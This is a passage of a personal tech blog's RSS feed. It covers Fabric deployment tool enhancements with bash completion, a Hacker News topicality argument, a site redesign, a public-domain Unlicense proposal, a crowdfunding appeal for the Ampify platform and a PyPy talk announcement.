<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">db_migrate</span><span class="p">():</span><br/>    <span class="n">puts</span><span class="p">(</span><br/>      <span class="s">&quot;[</span><span class="si">%s</span><span class="s">] [database] migrating schemas for </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span><br/>      <span class="p">(</span><span class="n">env</span><span class="o">.</span><span class="n">host_string</span><span class="p">,</span> <span class="n">env</span><span class="o">.</span><span class="n">db_name</span><span class="p">)</span><br/>      <span class="p">)</span><br/></pre></div>
<p>You can now just do:</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">format</span> <span class="o">=</span> <span class="bp">True</span><br/><br/><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">db_migrate</span><span class="p">():</span><br/>    <span class="n">puts</span><span class="p">(</span><span class="s">&quot;migrating schemas for {db_name}&quot;</span><span class="p">,</span> <span class="s">&#39;database&#39;</span><span class="p">)</span><br/></pre></div>
<p>And it will output something like:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab db-migrate<br/><span class="go">[somehost.com] [database] migrating schemas for ampify</span><br/></pre></div>
<p>The second parameter which was previously a boolean-only value that was used to
control whether the host string was printed or not, can now also be a string
value &mdash; in which case the string will be used as the prefix instead of the host
string.</p>
<p>You can still control if a host prefix is <em>also</em> printed by using the new
optional <tt class="docutils literal">show_host</tt> parameter, e.g.</p>
<div class="syntax python"><pre><span class="nd">@task</span><br/><span class="k">def</span> <span class="nf">db_migrate</span><span class="p">():</span><br/>    <span class="n">puts</span><span class="p">(</span><span class="s">&quot;migrating schemas for {db_name}&quot;</span><span class="p">,</span> <span class="s">&#39;database&#39;</span><span class="p">,</span> <span class="n">show_host</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span><br/></pre></div>
<p>Will output something like:</p>
<div class="syntax console"><pre><span class="gp">$</span> fab db-migrate<br/><span class="go">[database] migrating schemas for ampify</span><br/></pre></div>
<p>And if you'd enabled <tt class="docutils literal">env.colors</tt>, the prefix will be also colored according
to your settings!</p>
</div>
<div class="section" id="autocompletion">
<h1>Autocompletion</h1>
<p><a class="reference external" href="http://www.debian-administration.org/articles/316">Bash completion</a> is one of
those features that really helps you to be more productive. Just include the
following in your <tt class="docutils literal"><span class="pre">~/.bashrc</span></tt> or equivalent file and you'll be able to use
Fabric's new command completion support:</p>
<div class="syntax bash"><pre>_fab_completion<span class="o">()</span> <span class="o">{</span><br/>    <span class="nv">COMPREPLY</span><span class="o">=(</span> <span class="k">$(</span> <span class="se">\</span><br/>    <span class="nv">COMP_LINE</span><span class="o">=</span><span class="nv">$COMP_LINE</span>  <span class="nv">COMP_POINT</span><span class="o">=</span><span class="nv">$COMP_POINT</span> <span class="se">\</span><br/>    <span class="nv">COMP_WORDS</span><span class="o">=</span><span class="s2">&quot;${COMP_WORDS[*]}&quot;</span>  <span class="nv">COMP_CWORD</span><span class="o">=</span><span class="nv">$COMP_CWORD</span> <span class="se">\</span><br/>    <span class="nv">OPTPARSE_AUTO_COMPLETE</span><span class="o">=</span>1 <span class="nv">$1</span> <span class="k">)</span> <span class="o">)</span><br/><span class="o">}</span><br/><br/><span class="nb">complete</span> -o default -F _fab_completion fab<br/></pre></div>
<p>It completes on all available commands and command line options, e.g.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab --dis&lt;tab&gt;<br/><span class="go">--disable-known-hosts    --disable-hooks    --display</span><br/></pre></div>
<p>Also, since Fabric has no way of knowing which <a class="reference internal" href="#command-line-env-flags">command line env flags</a> and
contexts you might be using, you can specify additional autocompletion items as
an <tt class="docutils literal">env.autocomplete</tt> list value, e.g.</p>
<div class="syntax python"><pre><span class="n">env</span><span class="o">.</span><span class="n">autocomplete</span> <span class="o">=</span> <span class="p">[</span><span class="s">&#39;+config_file:&#39;</span><span class="p">,</span> <span class="s">&#39;+debug&#39;</span><span class="p">,</span> <span class="s">&#39;@db-servers&#39;</span><span class="p">]</span><br/></pre></div>
<p>This will then make those values available for you to autocomplete, i.e.</p>
<div class="syntax console"><pre><span class="gp">$</span> fab +&lt;tab&gt;<br/><span class="go">+config_file:    +debug</span><br/></pre></div>
</div>
<div class="section" id="backwards-compatibility">
<h1>Backwards Compatibility</h1>
<p>All these changes should be fully backwards compatible. That is, unless you
happen to have specified any of the new <tt class="docutils literal">env</tt> variables like <tt class="docutils literal">env.stages</tt>,
your existing fabfiles should run as they've always done. Do let me know if this
is not the case&#8230;</p>
</div>
<div class="section" id="usage">
<h1>Usage</h1>
<p>If you'd like to take advantage of these various changes, the simplest thing to
do is to clone my <a class="reference external" href="https://github.com/tav/pylibs">pylibs repository</a> and put
it on your <tt class="docutils literal">$PYTHONPATH</tt>, i.e.</p>
<div class="syntax console"><pre><span class="gp">$</span> git clone git://github.com/tav/pylibs.git<br/><br/><span class="gp">$</span> <span class="nb">cd </span>pylibs<br/><br/><span class="gp">$</span> python setup.py<br/><br/><span class="gp">$</span> <span class="nb">export </span><span class="nv">PYTHONPATH</span><span class="o">=</span><span class="nv">$PYTHONPATH</span>:<span class="sb">`</span><span class="nb">pwd</span><span class="sb">`</span><br/></pre></div>
<p>Then create a <tt class="docutils literal">fab</tt> script somewhere on your <tt class="docutils literal">$PATH</tt> with the following
content:</p>
<div class="syntax python"><pre><span class="c">#! /usr/bin/env python</span><br/><br/><span class="kn">from</span> <span class="nn">fabric.main</span> <span class="kn">import</span> <span class="n">main</span><br/><br/><span class="n">main</span><span class="p">()</span><br/></pre></div>
<p>Make sure the script is executable, i.e.</p>
<div class="syntax console"><pre><span class="gp">$</span> chmod +x fab<br/></pre></div>
<p>And as long as you have Python 2.6+, you should be good to go&#8230;</p>
<p class="intro-box"><a class="reference external" href="https://github.com/tav/pylibs/tree/master/fabric">https://github.com/tav/pylibs/tree/master/fabric</a></p>
</div>
<div class="section" id="next-steps">
<h1>Next Steps</h1>
<p>I have been talking to the Fabric maintainers about merging these changes
upstream. And so far they've been quite positive. But, as you can imagine, there
are a number of competing ideas about what is best for Fabric's future.</p>
<p>So if you like these features, then do leave a comment expressing your support.
It'd really help getting these features into the next version of Fabric.</p>
<p>&mdash; Thanks, tav</p>
</div><img src="http://feeds.feedburner.com/~r/asktav/~4/UI8hrhwWtfI" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/fabric-python-with-cleaner-api-and-parallel-deployment-support.html</feedburner:origLink></item><item>
    <title>Why Stories Like Egypt Are Fit For Hacker News</title>
    <guid isPermaLink="false">http://tav.espians.com/why-stories-like-egypt-are-fit-for-hacker-news.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/NmR8K_XZY-A/why-stories-like-egypt-are-fit-for-hacker-news.html</link>
    <pubDate>Fri, 11 Feb 2011 18:55:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Every time a story like Egypt appears on <a class="reference external" href="http://news.ycombinator.com">Hacker News</a>, some people inevitably comment that it's
unsuitable for HN. As much as the attempted curation is appreciated, it is these
comments that are often off topic.</p>
<div class="float-right-aligned">
  <a href="https://img.skitch.com/20110211-csp26cs7qpin4xejqpxn7t5hia.jpg"
     title="Egypt Tahrir Square 2011"><img
     src="https://img.skitch.com/20110211-1yfkkic75xd6ua7s7mj47cmwbi.jpg"
  /></a>
  <div class="image-caption">
    by <a href="http://blogs.aljazeera.net/">Al Jazeera</a>
  </div>
</div>
<style type="text/css">
  .content ul {
    padding-left: 20px;
    padding-right: 0;
    margin-left: 0;
    margin-right: 0;
  }
</style><p>If anything, stories like Egypt are well-suited given that:</p>
<ul class="simple">
<li>It's historic! Just look at the picture to the right! If something truly
momentous is happening, then I'd like to see discussion about it on HN &mdash; it
tends to be well-informed.</li>
<li>The <a class="reference external" href="http://ycombinator.com/newsguidelines.html">Hacker News Guidelines</a>
explicitly allows for political stories that demonstrate &ldquo;evidence of some
interesting new phenomenon&rdquo;.</li>
<li>It's arguably more worthy of discussion than the majority of the <a class="reference external" href="http://searchyc.com/submissions/techcrunch.com?only=domain&amp;sort=by_date">Techcrunch
posts</a>
that we see on HN.</li>
<li>It's an entrepreneurial opportunity! With a GDP of nearly $500bn, Egypt just
became a lot more attractive for innovative startups.</li>
</ul>
<p>The occasional non-tech/startup post doesn't mean that Hacker News is going to
the shits. We are not in danger of becoming Reddit 2.0 anytime soon either. So,
please, can we reserve the comments about off-topic posts to the kind of posts
that truly are off-topic?</p>
<p>&mdash; Cheers, tav</p><img src="http://feeds.feedburner.com/~r/asktav/~4/NmR8K_XZY-A" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/why-stories-like-egypt-are-fit-for-hacker-news.html</feedburner:origLink></item><item>
    <title>New Site Design for 2011</title>
    <guid isPermaLink="false">http://tav.espians.com/new-site-design-for-2011.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/ZoktgF2kpto/new-site-design-for-2011.html</link>
    <pubDate>Sat, 05 Feb 2011 01:18:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I was going to write a new article but ended up redesigning the site instead. My
aim with the new design has been to:</p>
<ul class="simple">
<li>Minimise clutter and improve the reader experience.</li>
<li>Give the site more of an identity.</li>
</ul>
<p>Here's what it used to look like:</p>
<div class="center">
  <a href="https://skitch.com/tav./rpdir/blog-design-header-2011"><img
  src="http://img.skitch.com/20110205-qm5r8g9e9isgj5jy1twr7mkm8k.png"
  alt="blog-design-header-2009" width="640px" height="517px" /></a>
</div><p>And here's what it looks like now:</p>
<div class="center">
  <a href="https://skitch.com/tav./rpdw9/blog-design-header-2011"><img
  src="http://img.skitch.com/20110205-ejg3xs2qqfdba3dkierjmc53he.png"
  alt="blog-design-header-2011" width="640px" height="517px" /></a>
</div><p>I was hoping to leverage existing templates and designs, but after spending a
while looking around, I found most of the work to be heavy and visually
unappealing. People seem to love their widgets.</p>
<p>The one exception to this was <a class="reference external" href="http://nvie.com">Vincent Driessen's site</a>. I
found his minimalist aesthetics very appealing and took several cues from it &mdash;
including lifting his code block container style. His content is great too, so
<a class="reference external" href="http://nvie.com">give him a visit</a>.</p>
<p>And, finally, compare the cluttered footer from before:</p>
<div class="center">
  <a href="https://skitch.com/tav./rpdat/blog-design-footer-2009"><img
  src="http://img.skitch.com/20110205-f3f1ju4yg1dm5u85hukeuun31k.png"
  alt="blog-design-footer-2009" width="640px" height="485px" /></a>
</div><p>With the new layout:</p>
<div class="center">
  <a href="https://skitch.com/tav./rpdas/blog-design-footer-2011"><img
  src="http://img.skitch.com/20110205-g862b9wcq63i3kim74nn6rxdqy.png"
  alt="blog-design-footer-2011" width="640px" height="485px" /></a>
</div><p>I hope you find the new design an improvement. Do let me know what you think in
the comments &mdash; thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/ZoktgF2kpto" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/new-site-design-for-2011.html</feedburner:origLink></item><item>
    <title>Creative Commons Unlicense and Reflections of a Public Domain Advocate</title>
    <guid isPermaLink="false">http://tav.espians.com/creative-commons-unlicense-and-reflections-of-a-public-domain-advocate.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/vOfEyQO--30/creative-commons-unlicense-and-reflections-of-a-public-domain-advocate.html</link>
    <pubDate>Wed, 26 Jan 2011 10:25:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
  <a href="http://unlicense.org"><img
     src="http://unlicense.org/pd-icon.png" /></a>
</div><p>I posted the following to the <a class="reference external" href="http://groups.google.com/group/unlicense">Unlicense Google Group</a> earlier today and figured
that some of you might be interested in the proposed Creative Commons
Unlicense.</p>
<blockquote>
<div class="line-block">
<div class="line">Hi Arto, Mike et al.</div>
<div class="line"><br /></div>
<div class="line">First of all, congrats for coming up with the term &ldquo;Unlicense&rdquo;. It's</div>
<div class="line">genius! As someone who has been placing all of his work into the</div>
<div class="line">public domain for most of the last decade, I am very thankful that</div>
<div class="line">there is finally a concrete movement emerging around unlicensing.</div>
<div class="line"><br /></div>
<div class="line">Now, if it's okay with you, I'd like to share my journey into the</div>
<div class="line">world of public domain and gradually build up to a proposal of a</div>
<div class="line">&ldquo;Creative Commons Unlicense&rdquo;.</div>
<div class="line"><br /></div>
<div class="line"><strong>Reflections of a Public Domain Advocate</strong></div>
<div class="line"><br /></div>
<div class="line">They got me before I'd even hit puberty. The UK Intellectual Property</div>
<div class="line">Office that is. At school they handed out leaflets on Copyright,</div>
<div class="line">Trademarks and Patents. I was mesmerised. Having already written 2</div>
<div class="line">books on music and working on various inventions, it was truly</div>
<div class="line">empowering to know that the law would protect my rights as a creator.</div>
<div class="line"><br /></div>
<div class="line">Being able to dictate how your work is used. Being able to make money</div>
<div class="line">from the royalties generated by your work. Being able to prevent</div>
<div class="line">others from abusing your work for their own profit. It made perfect</div>
<div class="line">sense. It appealed to that primal desire for being in control.</div>
<div class="line"><br /></div>
<div class="line">I was so in love with intellectual property that even my school notes</div>
<div class="line">had a copyright statement at the bottom of each page. This continued</div>
<div class="line">all the way till I was 17 when I started my first company. Being a</div>
<div class="line">tech startup in 1999, it wasn't too long before an inevitable</div>
<div class="line">encounter with the open source movement.</div>
<div class="line"><br /></div>
<div class="line">As you can imagine, this was quite an experience. In fact, it's really</div>
<div class="line">nice to see some familiar faces from those times on this list: Mike</div>
<div class="line">Linksvayer (from Bitzi days) and Peter Saint-Andre (from the early</div>
<div class="line">Jabber days).</div>
<div class="line"><br /></div>
<div class="line">It took a few months, but by the time 2000 began, I was convinced of</div>
<div class="line">the merits of open source. The copyleft nature of the GPL assuaged my</div>
<div class="line">fears of having my work exploited by others. And the success of</div>
<div class="line">projects like Linux and companies like VA Linux Systems served as</div>
<div class="line">tangible proof that sharing worked.</div>
<div class="line"><br /></div>
<div class="line">And so I became one of those annoying free software fanatics. I am</div>
<div class="line">sorry to say that I wasted countless hours arguing on various internet</div>
<div class="line">forums about the merits of the GPL versus other licenses. But, on the</div>
<div class="line">flip side, I did acquire various proprietary initiatives and release</div>
<div class="line">them as free software.</div>
<div class="line"><br /></div>
<div class="line">In any case, it was an uphill struggle convincing investors of the</div>
<div class="line">merits of open source. It simply did not make sense to them. Many</div>
<div class="line">refused to invest for that reason alone. And, all the while, I kept to</div>
<div class="line">my belief that a billion-dollar industry was possible by enabling</div>
<div class="line">creators to make money from sharing their works openly.</div>
<div class="line"><br /></div>
<div class="line">And then finally, in either late 2001 or early 2002, one of my</div>
<div class="line">friends, Tavin Cole, decided to spend an entire day of his life</div>
<div class="line">questioning my stance on the GPL. To this day I am extremely grateful</div>
<div class="line">for his effort — he enlightened me on the merits of the public domain.</div>
<div class="line"><br /></div>
<div class="line">In essence, his argument revolved around the fact that copyleft is</div>
<div class="line">merely an act of control and true freedom would be to enable people to</div>
<div class="line">do whatever they pleased with your work. He correctly identified fear</div>
<div class="line">as being a prime motivator behind my love affair with the GPL and that</div>
<div class="line">life would be a lot more pleasant without being gripped by it.</div>
<div class="line"><br /></div>
<div class="line">With my belief in the GPL shaken, I started experimenting with the</div>
<div class="line">public domain. Python hackers seemed to public domain their work with</div>
<div class="line">a single line, so I adopted a similar practice and added a minimal</div>
<div class="line">header of the format:</div>
</div>
<pre class="literal-block">
# Released into the Public Domain by tav &lt;tav&#64;espians.com&gt;
</pre>
<div class="line-block">
<div class="line"><br /></div>
<div class="line">This worked out quite well until 2004 when I moved to Berlin for a</div>
<div class="line">year. Here I came across various German hackers who argued that it was</div>
<div class="line">impossible to place works into the public domain due to the</div>
<div class="line">consideration of moral rights under German law.</div>
<div class="line"><br /></div>
<div class="line">I experimented with various structures to try and resolve this issue,</div>
<div class="line">e.g. contracts between the individuals and a company based in the UK</div>
<div class="line">which would then release the intellectual property into the public</div>
<div class="line">domain, etc. But nothing was really satisfactory until Creative</div>
<div class="line">Commons released the CC0 license.</div>
<div class="line"><br /></div>
<div class="line">It cleverly combined the public domain dedication with a fallback</div>
<div class="line">public license for jurisdictions where one can't fully public domain</div>
<div class="line">one's work. Not understanding why CC0 can't be used for code, I</div>
<div class="line">adopted the license with enthusiasm and remixed it with a grant of</div>
<div class="line">patent rights to create a Public Domain License which I've been using</div>
<div class="line">for all my work — writing, code, designs, etc.</div>
<div class="line"><br /></div>
<div class="line"><strong>Creative Commons Unlicense</strong></div>
<div class="line"><br /></div>
<div class="line">As you can imagine, it sounded silly to be public domain-ing work</div>
<div class="line">under the Public Domain <em>License</em> — but it seemed good enough.</div>
<div class="line">However, once I heard about &ldquo;Unlicense&rdquo;, I was smitten by its</div>
<div class="line">awesomeness and have already migrated a few projects, e.g.</div>
<div class="line"><br /></div>
<div class="line">* <a class="reference external" href="https://github.com/tav/ampify">https://github.com/tav/ampify</a></div>
<div class="line">* <a class="reference external" href="https://github.com/tav/git-review">https://github.com/tav/git-review</a></div>
<div class="line"><br /></div>
<div class="line">Now, whilst I've adopted the term wholesale, the text on <a class="reference external" href="http://unlicense.org">unlicense.org</a></div>
<div class="line">doesn't address a number of concerns:</div>
<div class="line"><br /></div>
<div class="line">* It is limited to just code. Software projects also tend to have</div>
<div class="line-block">
<div class="line">documentation, schemas, graphics, etc. It would be nice if the</div>
<div class="line">unlicense covered all of these.</div>
<div class="line"><br /></div>
</div>
<div class="line">* It doesn't address moral rights in any way.</div>
<div class="line"><br /></div>
<div class="line">* It doesn't address patent rights in any way. This becomes even more</div>
<div class="line-block">
<div class="line">relevant when you're receiving patches from organisations who might</div>
<div class="line">hold relevant patents.</div>
<div class="line"><br /></div>
</div>
<div class="line">* It doesn't provide advice on how to refer to the unlicense within</div>
<div class="line-block">
<div class="line">individual files. I've taken to having the following minimal header</div>
<div class="line">instead of copying the entire text into every file:</div>
</div>
</div>
<pre class="literal-block">
# Public Domain (-) 2010-2011 The Ampify Authors.
# See the Ampify UNLICENSE file for details.
</pre>
<div class="line-block">
<div class="line"><br /></div>
<div class="line">* It doesn't address third party code. Putting an UNLICENSE file in</div>
<div class="line-block">
<div class="line">the root of the repository without such consideration suggests that</div>
<div class="line">all the code files are in the public domain — which may not be true.</div>
<div class="line"><br /></div>
</div>
<div class="line">In an ideal world, we'd all come together and build on CC0 and the</div>
<div class="line">Unlicense to create a <em>Creative Commons Unlicense</em> which addresses all</div>
<div class="line">of these concerns. I am not sure if this would be of interest to</div>
<div class="line">anyone else, but it is of interest to me.</div>
<div class="line"><br /></div>
<div class="line">I've had a go at remixing the various texts into a new Unlicense:</div>
<div class="line"><br /></div>
<div class="line">* <a class="reference external" href="http://ampify.it/unlicense.html">http://ampify.it/unlicense.html</a></div>
<div class="line"><br /></div>
<div class="line">Here is the raw text, including the accompanying authors file:</div>
<div class="line"><br /></div>
<div class="line">* <a class="reference external" href="https://github.com/tav/ampify/blob/master/UNLICENSE">https://github.com/tav/ampify/blob/master/UNLICENSE</a></div>
<div class="line">* <a class="reference external" href="https://github.com/tav/ampify/blob/master/AUTHORS">https://github.com/tav/ampify/blob/master/AUTHORS</a></div>
<div class="line"><br /></div>
<div class="line">Now I am not a lawyer and the text needs work, but I hope it's a good</div>
<div class="line">starting point — or, at the very least, provides some idea of what I'm</div>
<div class="line">getting at.</div>
<div class="line"><br /></div>
<div class="line">Is this of interest to any of you? Could we come together to manifest</div>
<div class="line">a Creative Commons Unlicense?</div>
<div class="line"><br /></div>
<div class="line">Please do let me know what you think.</div>
<div class="line"><br /></div>
<div class="line">&mdash;</div>
<div class="line">Cheers, tav</div>
</div>
</blockquote><img src="http://feeds.feedburner.com/~r/asktav/~4/vOfEyQO--30" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/creative-commons-unlicense-and-reflections-of-a-public-domain-advocate.html</feedburner:origLink></item><item>
    <title>Will You Peerfund My Work?</title>
    <guid isPermaLink="false">http://tav.espians.com/will-you-peerfund-my-work.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/l6Kaza10ULE/will-you-peerfund-my-work.html</link>
    <pubDate>Wed, 14 Jul 2010 08:34:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right-aligned">
  <a href="http://tav.espians.com"><img width="213px" height="191px"
    src="http://static.ampify.it/profile.sky-and-tav.jpg" /></a>
</div><p>I'm looking to raise £6,000 to support myself and a <a class="reference external" href="http://sofiabustamante.com/">few</a> <a class="reference external" href="http://twitter.com/evangineer">others</a> for
the next 3 months so that we can launch a whole new socio-economic-technological
infrastructure.</p>
<p>Any contribution you can make &mdash; £60, £300 or even £1,000 &mdash; will be greatly
appreciated and rewarded. Thank you!</p>
<ul class="simple">
<li><a class="reference external" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GP9QRJAASDYJY">Support my work with a PayPal contribution!</a></li>
</ul>
<p><strong>The Supporters So Far:</strong></p>
<blockquote>
<table border="1" class="borderless-table docutils">
<colgroup>
<col width="73%" />
<col width="27%" />
</colgroup>
<tbody valign="top">
<tr><td>Robert de Souza</td>
<td>£300</td>
</tr>
<tr><td>archels</td>
<td>£1</td>
</tr>
<tr><td>Lauri Love</td>
<td>£50</td>
</tr>
<tr><td>Alex Rollin</td>
<td>£20</td>
</tr>
<tr><td>Josef Davies-Coates</td>
<td>£20</td>
</tr>
<tr><td>mattcoop</td>
<td>£14</td>
</tr>
<tr><td>Benjamin Degenhart</td>
<td>£10</td>
</tr>
<tr><td>Michael Kedzierski</td>
<td>£30</td>
</tr>
<tr><td>Charles Goodier</td>
<td>£100</td>
</tr>
<tr><td>Chris Greiner</td>
<td>£20</td>
</tr>
<tr><td>Tim Lossen</td>
<td>£100</td>
</tr>
<tr><td>Thamilarasi Sivapathasundaram</td>
<td>£100</td>
</tr>
<tr><td>pgchamberlin</td>
<td>£10</td>
</tr>
<tr><td>John McCane-Whitney</td>
<td>£250</td>
</tr>
<tr><td><strong>Still Needed</strong></td>
<td>£4,975</td>
</tr>
</tbody>
</table>
</blockquote>
<p><strong>My Work:</strong></p>
<p>The core of my work is about creating <a class="reference external" href="http://ampify.it">Ampify</a> &mdash; an open
source, decentralised application platform. I've been working on this for over
10 years and, as proof, you can see:</p>
<ul class="simple">
<li>The web archive for Espra &mdash; an early attempt in 2000-2001 [<a class="reference external" href="http://web.archive.org/web/20010922205916/http://espra.net/">link</a>]</li>
<li>The first public discussion with others about the idea &mdash; September 11th 2001
[<a class="reference external" href="http://chatlogs.planetrdf.com/rdfig/2001-09-11.html#T03-17-00">link</a>]</li>
<li>The web archive for Plex &mdash; another attempt in 2001-2002 [<a class="reference external" href="http://web.archive.org/web/20020601161948/http://plexdev.org/">link</a>]</li>
</ul>
<p>A key aspect of Ampify is Trust Maps &mdash; a way of specifying who you trust and in
what context. This will be used to help overcome information overload and here's
<a class="reference external" href="http://www.trustmap.org">a prototype</a> that was used to explore the idea:</p>
<div class="center">
<a href="http://www.trustmap.org"><img src="http://img.skitch.com/20100714-psqy9pswin8pahudjimcsei8p5.medium.jpg"
   /></a>
</div><p>And, <a class="reference external" href="http://tweets.trustmaps.com">here's another prototype</a> that filters and
searches Twitter streams according to an individual's Trust Map:</p>
<div class="center">
<a href="http://tweets.trustmaps.com"><img src="http://img.skitch.com/20100714-x6qkxhr5ep41dsassuj987fwsc.medium.jpg"
   /></a>
</div><p>Ampify will also support <a class="reference external" href="http://thruflo.com/2009/06/09/tav-describes-pecus.html">Pecus</a> &mdash; which is intended
as a foundation for a reputation economy. It'll enable those who share their
works to be properly rewarded, e.g. open source developers, musicians, blog
authors, youtube content creators, etc.</p>
<div class="full-width-lined">
<a href="http://static.ampify.it/img.presentation-sample-screen.png"><img
   src="http://static.ampify.it/img.presentation-sample-screen.png"
   width="700px" height="525px"
   /></a>
</div><p>This will be complemented by <a class="reference external" href="http://groups.google.com/group/espians/browse_thread/thread/c67452fb7d3afa9e">Amp Creds</a>
&mdash; a global reference currency backed by Processing, Storage and Transfer &mdash;
that will hopefully enable a more stable economy than the boom-and-bust cycles
of the present one.</p>
<p>Ampify will also enable a new form of decentralised collaboration through the
use of the Confluence model. Here's a <a class="reference external" href="http://socialstartuplabs.com/wiki/User:Tav">MediaWiki-based prototype</a> that tested some of this idea
[<a class="reference external" href="http://github.com/tav/confluence">source code</a>]:</p>
<div class="center">
<a href="http://socialstartuplabs.com/wiki/User:Tav"><img src="http://img.skitch.com/20100714-qkm3athwabfcr6gkd786phk4ai.medium.jpg"
   /></a>
</div><p>It's taken a lot of iterations and failures to figure out what works and what
doesn't &mdash; and I'm confident about having a working version of Ampify by
October. There's already the start of <a class="reference external" href="http://ampify.it/planfile.html">some documentation</a> and you can <a class="reference external" href="http://github.com/espians/ampify">watch the GitHub repository</a> to follow the open development.</p>
<div class="full-width-lined"><a
     href="http://static.ampify.it/img.ampify-overview.original.png"><img
     src="http://static.ampify.it/img.ampify-overview.original.png" alt=""
     width="690px" height="518px"
     /></a></div><p>And, finally, your support will also enable my other <a class="reference external" href="http://github.com/tav">various open source
contributions</a> and help put on events like <a class="reference external" href="http://londoncreativelabs.squarespace.com/Social-Startup-Lab-15-06-2010">Social
Startup Labs</a> &mdash;
which helps tackle the issue of jobs creation by helping local communities
identify the needs and opportunities for <a class="reference external" href="http://en.wikipedia.org/wiki/Social_business">Social Businesses</a>:</p>
<div class="center">
<a href="http://londoncreativelabs.squarespace.com/Social-Startup-Lab-15-06-2010"><img
   src="http://farm5.static.flickr.com/4139/4743307216_94b6d2096b.jpg" class="boxed"
   /></a>
</div><p>Do drop by and say hello on IRC chat if you're interested in any of this work:</p>
<div style="text-align: center; margin-top: 5px; margin-bottom: 15px">
    <form action="http://webchat.freenode.net/" method="get">
      <button style="padding: 2px 6px 3px;">Click to join #esp</button>
      <input type="hidden" name="channels" value="esp" />
   </form>
</div>
<pre>
server: irc.freenode.net
channel: #esp
chatlogs: <a href="http://irclogs.ampify.it">irclogs.ampify.it</a>
</pre><p>I believe my work adds real value and, with your support, I can get it to a
stage where it could make a really positive impact:</p>
<ul class="simple">
<li><a class="reference external" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GP9QRJAASDYJY">Support my work with a PayPal contribution!</a></li>
</ul>
<div class="center">
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="GP9QRJAASDYJY">
<input type="image" src="https://www.paypal.com/en_US/GB/i/btn/btn_donateCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online.">
<img alt="" border="0" src="https://www.paypal.com/en_GB/i/scr/pixel.gif" width="1" height="1">
</form>
</div><p>Thank you.</p><img src="http://feeds.feedburner.com/~r/asktav/~4/l6Kaza10ULE" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/will-you-peerfund-my-work.html</feedburner:origLink></item><item>
    <title>Anyone Interested in Articles on Using PyPy to Create New Languages?</title>
    <guid isPermaLink="false">http://tav.espians.com/anyone-interested-in-articles-on-using-pypy-to-create-new-languages.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/D8a2reG788c/anyone-interested-in-articles-on-using-pypy-to-create-new-languages.html</link>
    <pubDate>Wed, 02 Jun 2010 10:05:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
  <a href="http://pypy.org"><img
    src="http://pypy.org/image/pypy-logo.png" /></a>
</div><p><a class="reference external" href="http://pypy.org">PyPy</a> is famous as an alternative Python implementation. But
it is also an impressive toolchain for creating your own programming languages
&mdash; you get features like garbage collection, JIT and even <a class="reference external" href="http://github.com/espians/ampify/tree/master/src/webkit_bridge/">WebKit integration</a> for free.</p>
<p>Unfortunately, despite the toolchain being the bulk of the <a class="reference external" href="http://github.com/pypy/pypy">PyPy code</a>, it's not given much love. So, in an effort to
convince fellow hackers to use PyPy, I'll be giving a talk at the <a class="reference external" href="http://emerginglangs.com/">Emerging
Languages Camp</a> at <a class="reference external" href="http://www.oscon.com/oscon2010/public/schedule/detail/15487">OSCON</a> &mdash; see below for
the abstract.</p>
<p>I'd also like to help bring more understanding of the toolchain to the wider
hacker world and am considering writing a series of tutorials on this blog.
Unfortunately, I'm also a lazy bastard and don't want to waste time if no-one is
interested ;p</p>
<p>So this is your chance &mdash; let me know in either the comments below or on <a class="reference external" href="http://news.ycombinator.com/item?id=1398052">HN</a>/<a class="reference external" href="http://www.reddit.com/r/programming/comments/can1y/anyone_interested_in_articles_on_using_pypy_to/">Reddit</a>,
if you'd be interested in such blog posts. Thanks!</p>
<br /><hr class="docutils" />
<blockquote>
<p><strong>Create Your Own Programming Language in 20 Minutes using PyPy</strong></p>
<p>Creating your own dynamic language can be a messy, painful affair. Instead
of focusing on the features that make your language unique, you have to
waste a lot of time dealing with secondary issues like cross-platform
support, garbage collection and just-in-time compilation.</p>
<p>The <a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/translation.html">PyPy Translation Toolchain</a> — which has
already been successfully used to build alternative Python and Scheme
interpreters — can save you from all of this hassle. This talk will show how
easy it can be to create your own language by taking advantage of the
benefits that PyPy offers:</p>
<ul class="simple">
